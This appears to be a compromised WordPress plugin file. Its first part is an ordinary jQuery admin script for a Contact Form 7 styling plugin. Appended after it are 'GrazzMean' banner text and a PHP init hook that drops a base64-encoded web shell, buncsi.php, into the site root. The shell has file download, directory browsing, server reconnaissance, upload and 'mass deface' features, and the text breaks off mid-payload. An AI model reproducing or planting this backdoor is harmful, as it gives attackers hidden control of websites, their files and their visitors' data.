		'#cf7cstmzr_input_padding-right, ' +
		'#cf7cstmzr_input_padding-bottom, ' +
		'#cf7cstmzr_input_padding-left, ' +
		'#cf7cstmzr_input_margin-top, ' +
		'#cf7cstmzr_input_margin-right, ' +
		'#cf7cstmzr_input_margin-bottom, ' +
		'#cf7cstmzr_input_margin-left, ' +
		'#cf7cstmzr_input_text_size, ' +
		'#cf7cstmzr_input_bg_color-opacity, ' +
		'#cf7cstmzr_input_text_line-height, ' +
		'#cf7cstmzr_input_border_width-top, ' +
		'#cf7cstmzr_input_border_width-right, ' +
		'#cf7cstmzr_input_border_width-bottom, ' +
		'#cf7cstmzr_input_border_width-left, ' +
		'#cf7cstmzr_input_border_radius, ' +
		'#cf7cstmzr_input_shadow_horizontal-length, ' +
		'#cf7cstmzr_input_shadow_vertical-length, ' +
		'#cf7cstmzr_input_shadow_blur-radius, ' +
		'#cf7cstmzr_input_shadow_spread-radius, ' +
		'#cf7cstmzr_input_shadow_opacity, ' +
		'#cf7cstmzr_input_shadow_position, ' +
		'#cf7cstmzr_button_shadow_horizontal-length, ' +
		'#cf7cstmzr_button_shadow_vertical-length, ' +
		'#cf7cstmzr_button_shadow_blur-radius, ' +
		'#cf7cstmzr_button_shadow_spread-radius, ' +
		'#cf7cstmzr_button_shadow_opacity, ' +
		'#cf7cstmzr_button_shadow_position, ' +
		'#cf7cstmzr_input_border_color, ' +
		'#cf7cstmzr_checkbox_width_yes, ' +
		'#cf7cstmzr_checkbox_width_no, ' +
		'#cf7cstmzr_radiobutton_width_yes, ' +
		'#cf7cstmzr_radiobutton_width_no, ' +
		'#cf7cstmzr_checkbox_text_label-size, ' +
		'#cf7cstmzr_button_width_yes, ' +
		'#cf7cstmzr_button_width_no, ' +
		'#cf7cstmzr_button_text_size, ' +
		'#cf7cstmzr_button_text_line-height, ' +
		'#cf7cstmzr_button_padding, ' +
		'#cf7cstmzr_button_border_width, ' +
		'#cf7cstmzr_button_border_radius',
		function() {
		var control = $(this);
		var isSave = true;

		if (control.hasClass('not-save')) {
			isSave = false;
		}

		$( document.body ).trigger('cf7cstmzr_settings_changed', isSave);
	});

	$(document.body).on('click', '.cf7cstmzr-install-plugin', function () {
		var btn = $(this);
		var plugin = btn.data('plugin');

		var processingHolder = $('.processing-holder .processing-spinner-holder');
		processingHolder.addClass('processing');

		var data = {
			action: 'cf7cstmzr_install_plugin',
			plugin: plugin
		};

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: data,

			success: function(response) {
				response = response.split('&&&&&');
				console.log(response);
				var decoded;

				try {
					decoded = $.parseJSON(response[1]);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						// alert(decoded.message);
						alert_sticky(decoded.message, 'cf7cstmzr-success');

						setTimeout(function() {
							window.location.reload(false);
						}, 2000);
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						processingHolder.removeClass('processing');
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					processingHolder.removeClass('processing');
				}
			}
		});
	});

	$(document).ready(function () {
		localStorage.removeItem('split-sizes');
		var cstmzrForm = $('#cf7cstmzr-settings-form');

		if (!cstmzrForm.length) {
			return true;
		}

		responsiveClasses();
		recalculateContainersSizes();
		show_select_form_message_button();

		$('.cf7cstmzr-color-picker').wpColorPicker(
			{
				change: function(event, ui){
					$( document.body ).trigger('cf7cstmzr_settings_changed', true);
				},
				clear: function() {
					$( document.body ).trigger('cf7cstmzr_settings_changed', true);
				}
			}
		);

		if( $('#cf7cstmzr_custom-css').length ) {
			// var editor = wp.codeEditor.initialize( $('#cf7cstmzr_custom-css'), editorSettings );
			var editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};

			editorSettings.codemirror = _.extend(
				{},
				editorSettings.codemirror,
				{
					indentUnit: 2,
					tabSize: 2,
					mode: 'css',
				}
			);

			editor = wp.codeEditor.initialize($('#cf7cstmzr_custom-css'), editorSettings);
			// editor.codemirror.on( 'blur', onCodeEditorChange );
			editor.codemirror.on( 'change', onCodeEditorChange );
			window.codeEditor = editor;
		}
	});

	$(window).on( 'resize', function() {
		responsiveClasses();
		recalculateContainersSizes();
	} );

	function recalculateContainersSizes() {
		var mainContainer = $("#cf7cstmzr-main-container");

		if (!mainContainer.length) {
			return true;
		}

		var windowHeight = $(window).height();
		var mainOffset = $("#cf7cstmzr-main-container").offset().top;
		mainOffset = 40;
		var mainPosition = $("#cf7cstmzr-main-container").position().top;

		if ($("#cf7cstmzr-main-container").hasClass('fw')) {
            var heightOffset = windowHeight;
            var heightPosition = windowHeight;
		} else {
            var heightOffset = windowHeight - mainOffset - 15;
            var heightPosition = windowHeight - mainPosition - 15;
        }

		var settingsContainerHeader = $('#cf7cstmzr-settings-container-header');
		var settingsContainerBody = $('#cf7cstmzr-settings-container-body');

		var previewContainerHeader = $('#cf7cstmzr-preview-container-header');
		var previewContainerBody = $('#cf7cstmzr-preview-container-body');

		var settingsContainerHeaderHeight = settingsContainerHeader.outerHeight(true);
		var previewContainerHeaderHeight = previewContainerHeader.outerHeight(true);

		var settingsContainerBodyHeight = heightOffset - settingsContainerHeaderHeight - 10;
		var previewContainerBodyHeight = heightOffset - previewContainerHeaderHeight - 5;

		var settingItems = $('.cf7cstmzr-settings-item');

		if ($('body').hasClass('device-xl') || $('body').hasClass('device-lg')) {
			$("#cf7cstmzr-main-container").css('height', heightOffset);

			if (settingItems.length) {
				settingItems.each(function() {
					var settingItem = $(this);
					var settingItemHeader = settingItem.find('.cf7cstmzr-settings-item-header');
					var settingItemHeaderHeight = settingItemHeader.outerHeight(true);
					var settingItemBody = settingItem.find('.cf7cstmzr-settings-item-body');
					var settingItemBodyHeight = settingsContainerBodyHeight - settingItemHeaderHeight;

					settingItemBody.css('height', settingItemBodyHeight).css('overflow', 'auto');
				});
			}

			settingsContainerBody.css('height', settingsContainerBodyHeight).css('overflow', 'auto');
			previewContainerBody.css('height', previewContainerBodyHeight);
		} else {
			if (settingItems.length) {
				settingItems.each(function() {
					var settingItem = $(this);
					var settingItemHeader = settingItem.find('.cf7cstmzr-settings-item-header');
					var settingItemHeaderHeight = settingItemHeader.outerHeight(true);
					var settingItemBody = settingItem.find('.cf7cstmzr-settings-item-body');
					var settingItemBodyHeight = settingsContainerBodyHeight - settingItemHeaderHeight;

					settingItemBody.css('height', 'auto');
				});
			}

			$("#cf7cstmzr-main-container").css('height', 'auto');
			settingsContainerBody.css('height', 'auto');
			previewContainerBody.css('height', heightOffset);
		}
	}

	$(document.body).on('click', '#cf7cstmzr_custom_css_save', function() {
		$(this).removeClass('button-primary').attr('disabled', true);

		var value = window.codeEditor.codemirror.getValue();

		if (!$.trim(value)) {
			$('#cf7cstmzr_custom_css_clear').removeClass('button-primary').attr('disabled', true);
		} else {
			$('#cf7cstmzr_custom_css_clear').addClass('button-primary').attr('disabled', false);
		}

		$( document.body ).trigger('cf7cstmzr_settings_changed', true);
	});

	$(document.body).on('change', "input[name='cf7cstmzr-split-mode']", function() {
		refreshPreview();
	});

	$(document.body).on('change', '#cf7cstmzr-split-fixed', function() {
		var frame = $('#formPreviewFrame').contents();

		if ($(this).is(':checked')) {
			frame.find('#split-container').removeClass('float-split').addClass('scroll-split');
		} else {
			frame.find('#split-container').removeClass('scroll-split').addClass('float-split');
		}
	});

	$(document.body).on('change', '#cf7cstmzr-preview-mode-check', function() {
		if ($(this).is(':checked')) {
			$('#cf7cstmzr-preview-mode').val('split-mode');
		} else {
			$('#cf7cstmzr-preview-mode').val('current-style');
		}

		$( '#cf7cstmzr-preview-mode' ).trigger( 'change' );
	});

	$(document.body).on('click', '#cf7cstmzr_custom_css_clear', function() {
		window.codeEditor.codemirror.setValue('');
		$('#cf7cstmzr_custom-css').text('');

		$(this).removeClass('button-primary').attr('disabled', true);
		$('#cf7cstmzr_custom_css_save').removeClass('button-primary').attr('disabled', true);

		$( document.body ).trigger('cf7cstmzr_settings_changed', true);
	});

	function onCodeEditorChange(instance) {
		var value = instance.getValue();

		$('#cf7cstmzr_custom-css').text( value );
		$('#cf7cstmzr_custom_css_save').addClass('button-primary').attr('disabled', false);

		if (!$.trim(value)) {
			$('#cf7cstmzr_custom_css_clear').removeClass('button-primary').attr('disabled', true);
		} else {
			$('#cf7cstmzr_custom_css_clear').addClass('button-primary').attr('disabled', false);
		}
	}

	function responsiveClasses(){

		if( typeof jRespond === 'undefined' ) {
			console.log('responsiveClasses: jRespond not Defined.');
			return true;
		}

		var jRes = jRespond([
			{
				label: 'smallest',
				enter: 0,
				exit: 575
			},{
				label: 'handheld',
				enter: 576,
				exit: 767
			},{
				label: 'tablet',
				enter: 768,
				exit: 960
			},{
				label: 'laptop',
				enter: 961,
				exit: 1199
			},{
				label: 'desktop',
				enter: 1200,
				exit: 10000
			}
		]);
		jRes.addFunc([
			{
				breakpoint: 'desktop',
				enter: function() { $('body').addClass('device-xl'); },
				exit: function() { $('body').removeClass('device-xl'); }
			},{
				breakpoint: 'laptop',
				enter: function() { $('body').addClass('device-lg'); },
				exit: function() { $('body').removeClass('device-lg'); }
			},{
				breakpoint: 'tablet',
				enter: function() { $('body').addClass('device-md'); },
				exit: function() { $('body').removeClass('device-md'); }
			},{
				breakpoint: 'handheld',
				enter: function() { $('body').addClass('device-sm'); },
				exit: function() { $('body').removeClass('device-sm'); }
			},{
				breakpoint: 'smallest',
				enter: function() { $('body').addClass('device-xs'); },
				exit: function() { $('body').removeClass('device-xs'); }
			}
		]);
	}

	function resetStyleSettings() {
		var parentTextFields = $('.cf7cstmzr-parent-text-field');
		var textFields = $('.cf7cstmzr-text-field');
		var dropdownFields = $('.cf7cstmzr-dropdown-field');
		var radioFields = $('.cf7cstmzr-radio-field');

		radioFields.each(function() {
			$(this).prop( "checked", false );
		});

		parentTextFields.each(function() {
			$(this).val('');
		});

		dropdownFields.each(function() {
			$(this).val('');
		});

		// var variationsMain = $('.cf7cstmzr-settings-item-body-setting-variations-main');
		// var variationsSetting = parent.find('.cf7cstmzr-settings-item-body-setting-variations');

		textFields.each(function() {
			$(this).val('');
		});

		var variationsMain = $('.cf7cstmzr-settings-item-body-setting-variations-main');
		var variationsSetting = $('.cf7cstmzr-settings-item-body-setting-variations');

		variationsMain.each(function() {
			$(this).show();
		});

		variationsSetting.each(function() {
			$(this).hide();
		});

		var clearColorBtn = $('.cf7cstmzr-color-picker').parents('.wp-picker-input-wrap').find('.wp-picker-clear');

		clearColorBtn.each(function() {
			$(this).click();
		});

		window.codeEditor.codemirror.setValue('');
		$('#cf7cstmzr_custom-css').text('');

		$('#cf7cstmzr_delete_image_btn').click();

		recalculateContainersSizes();
	}

	function refreshPreview() {
		console.log('Preview rtefresh');
		clearTimeout( window.refreshTimer );

		var formData = $("#cf7cstmzr-settings-form").serializeArray();
		var previewButton = $('.cf7cstmzr-refresh');

		previewButton.each(function() {
			$(this).attr('disabled', true);
		});

		var unstyleControl = $('#cf7cstmzr-preview-unstyle');
		var unstyle = false;
		var splitModeControl = $('#cf7cstmzr-split-mode');
		var splitMode = false;

		if (unstyleControl.is(':checked')) {
			unstyle = true;
		}

		if (splitModeControl.is(':checked')) {
			splitMode = true;
		}

		var splitModeValue = $("input[name='cf7cstmzr-split-mode']:checked").val();

		var previewMode = $('#cf7cstmzr-preview-mode').val();


		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_preview_form_customizer_settings',
				formData: formData,
				unstyle: unstyle,
				previewMode: previewMode,
				splitMode: splitMode,
				splitModeValue:splitModeValue
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						$('#cf7cstmzr-split-fixed').attr('checked', false);
						var frame_top = $('#formPreviewFrame').contents().scrollTop();
						var formId = $('#cf7cstmzr_select_form').val();
						var url = $('#cf7cstmzr-url').val();

						var iframe = $( '<iframe />', {
							title: 'Inline Frame Example',
							id: 'formPreviewFrame'
						} );

						iframe.attr( 'src', url + formId );
						iframe.appendTo('#form-preview-container_inner');

						iframe.on("load", function() {
							$('#form-preview-container_inner iframe.previous-iframe' ).remove();
							$('#formPreviewFrame').addClass('previous-iframe');
							$('#formPreviewFrame').contents().scrollTop(frame_top);
						});
					} else {
						previewButton.each(function() {
							$(this).attr('disabled', false);
						});
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
				}
			}
		});
	}

	function setTimerForRefreshPreview() {
		resetTimer();
		window.refreshTimer = setTimeout( maybeRefreshPreview, '500' );
	}

	function resetTimer() {
		clearTimeout( window.refreshTimer );
	}

	function maybeRefreshPreview() {
		refreshPreview();
	}

	function ajaxRequest(data, cb, cbError) {
		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: data,
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						if (decoded.message) {
							alert_sticky(decoded.message, 'cf7cstmzr-success');
							// alert(decoded.message);
						}

						if (decoded.url) {
							if (decoded.message) {
								setTimeout(function() {
									window.location.replace(decoded.url);
								}, 2000);
							} else {
								window.location.replace(decoded.url);
							}
						}

						if (typeof cbError === 'function') {
							cbError();
						}
					} else {
						if (decoded.message) {
							alert_sticky(decoded.message, 'cf7cstmzr-error');
							// alert(decoded.message);
						}

						if (typeof cbError === 'function') {
							cbError();
						}
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	}

	/**
	 *
	 * @param e
	 * @param fragments
	 */
	function updateFragments( fragments ) {
		if ( fragments ) {
			$.each( fragments, function( key ) {
				$( key )
					.addClass( 'updating' )
					.fadeTo( '400', '0.6' )
					.block({
						message: null,
						overlayCSS: {
							opacity: 0.6
						}
					});
			});

			$.each( fragments, function( key, value ) {
				$( key ).replaceWith( value );
				$( key ).stop( true ).css( 'opacity', '1' ).unblock();
			});
		}
	}
})( jQuery );
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW